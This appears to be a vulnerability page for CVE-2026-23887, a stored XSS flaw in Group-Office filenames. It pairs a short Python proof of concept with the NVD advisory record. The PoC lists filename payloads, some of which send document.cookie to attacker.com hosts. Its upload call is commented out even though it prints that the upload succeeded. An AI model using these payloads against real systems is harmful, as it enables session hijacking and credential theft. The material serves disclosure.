CVE-2026-23887

# CVE-2026-23887 PoC - Stored XSS in Group-Office Filename # This PoC demonstrates how a malicious filename can trigger XSS # Method 1: Using script tag in filename malicious_filename_1 = '<script>alert(document.cookie)</script>' # Method 2: Using event handler (more stealthy) malicious_filename_2 = 'image.jpg" onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)" ' # Method 3: Using img tag with onerror malicious_filename_3 = '<img src=x onerror=eval(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="))>' # PoC: Upload a file with malicious filename via Group-Office API import requests TARGET_URL = "http://target-groupoffice-instance/" ATTACKER_COOKIE_STEAL_URL = "https://attacker-controlled.com/collect" def exploit_stored_xss(): """ Step 1: Upload file with malicious filename """ files = { 'file': ('<img src=x onerror=fetch(`https://attacker.com/log?c=`+document.cookie)>', b'fake content') } # Note: Requires low-privilege user authentication session = requests.Session() # session.auth = ('low_priv_user', 'password') # Upload the malicious file # response = session.post(f"{TARGET_URL}core/file/upload", files=files) print("[*] File uploaded with malicious filename") print("[*] When any user views this file, XSS payload will execute") return True # The vulnerability allows stored JavaScript execution # Impact: Session hijacking, credential theft, unauthorized actions

{"cve": {"id": "CVE-2026-23887", "sourceIdentifier": "[email protected]", "published": "2026-01-22T00:15:51.930", "lastModified": "2026-02-18T15:03:12.833", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Group-Office is an enterprise customer relationship management and groupware tool. In versions 6.8.148 and below, and 25.0.1 through 25.0.79, the application stores unsanitized filenames in the database, which can lead to Stored Cross-Site Scripting (XSS). Users who interact with these specially crafted file names within the Group-Office application are affected. While the scope is limited to the file-viewing context, it could still be used to interfere with user sessions or perform unintended actions in the browser. This issue is fixed in versions 6.8.149 and 25.0.80."}, {"lang": "es", "value": "Group-Office es una herramienta de gestión de relaciones con clientes (CRM) y groupware empresarial. En las versiones 6.8.148 e inferiores, y de la 25.0.1 a la 25.0.79, la aplicación almacena nombres de archivo sin sanear en la base de datos, lo que puede conducir a un Cross-Site Scripting Almacenado (XSS). Esto afecta a los usuarios que interactúan con estos nombres de archivo especialmente diseñados dentro de la aplicación Group-Office. Aunque el alcance se limita al contexto de visualización de archivos, aún podría utilizarse para interferir con las sesiones de los usuarios o realizar acciones no deseadas en el navegador. Este problema se ha solucionado en las versiones 6.8.149 y 25.0.80."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-79"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:group-office:group_office:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.8.149", "matchCriteriaId": "5F354AC7-4322-4BA2-91B0-278E15EE8803"}, {"vulnerable": true, "criteria": "cpe:2.3:a:group-office:group_office:*:*:*:*:*:*:*:*", "versionStartIncluding": "25.0.1", "versionEndExcluding": "25.0.80", "matchCriteriaId": "B1CAF33B-24E7-4044-BBDE-40961A8E3CCA"}]}]}], "references": [{"url": "https://github.com/Intermesh/groupoffice/commit/3fa40d7edd31fbe33babe07061d5a14ad19ea40f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Intermesh/groupoffice/commit/ac91b128157bc9c5ea015b6141ce71cd3bbc43f0", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Intermesh/groupoffice/security/advisories/GHSA-3gj5-gvvr-g6hp", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}